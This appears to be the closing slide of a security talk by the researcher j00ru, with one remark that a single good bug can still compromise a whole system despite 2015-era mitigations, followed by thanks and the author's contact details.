• Even in 2015 – the era of high-quality mitigations and security mechanisms, one good bug still suffices for a complete system compromise.
Thanks!

@j00ru
http://j00ru.vexillium.org/
j00ru.vx@gmail.com